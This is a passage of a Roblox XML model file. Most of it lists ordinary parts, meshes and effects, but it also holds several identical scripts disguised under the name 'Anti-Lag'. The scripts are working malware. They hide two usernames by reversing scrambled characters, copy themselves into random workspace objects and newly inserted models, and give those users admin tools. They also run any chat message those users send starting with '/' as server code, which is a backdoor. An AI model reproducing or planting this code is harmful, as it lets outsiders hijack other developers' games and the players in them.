						<Item class="SpecialMesh" referent="RBX105">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX106">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1178.16687</X>
								<Y>9.19014549</Y>
								<Z>671.128174</Z>
								<R00>0.0342391729</R00>
								<R01>0.000357979094</R01>
								<R02>-0.99941355</R02>
								<R10>-4.13041562e-006</R10>
								<R11>1</R11>
								<R12>0.000358046789</R12>
								<R20>0.999413669</R20>
								<R21>-8.1313774e-006</R21>
								<R22>0.0342391878</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.0104728341</X>
								<Y>-9.42151382e-005</Y>
								<Z>-0.0010530547</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.0028733497</X>
								<Y>-0.0183980931</Y>
								<Z>0.0139733311</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>2.4000001</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX107">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1167.5</X>
								<Y>9.19999981</Y>
								<Z>671</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>-1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000200894545</X>
								<Y>0.000159150557</Y>
								<Z>0.000215218795</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>2.4000001</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX108">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1173</X>
								<Y>10.8999996</Y>
								<Z>671</Z>
								<R00>0</R00>
								<R01>-1</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>0</R11>
								<R12>1</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000192575302</X>
								<Y>0.000132235349</Y>
								<Z>0.000210441824</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>12</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="Decal" referent="RBX109">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="Face">3</token>
								<string name="Name">Decal</string>
								<float name="Shiny">20</float>
								<float name="Specular">0</float>
								<Content name="Texture"><url>http://www.roblox.com/asset/?id=32993999</url></Content>
								<float name="Transparency">0</float>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX110">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4294964224</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294901760</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX111">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1167.5</X>
								<Y>9.80000019</Y>
								<Z>664</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000198942187</X>
								<Y>0.000142663674</Y>
								<Z>0.00021380563</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX112">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX113">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">24</int>
							<CoordinateFrame name="CFrame">
								<X>-1178.5</X>
								<Y>9.80000019</Y>
								<Z>664</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000198942187</X>
								<Y>8.88332434e-005</Y>
								<Z>0.000212259591</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>3.60000014</Y>
								<Z>10</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX114">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX115">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX116">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX117">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX118">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX119">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX120">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
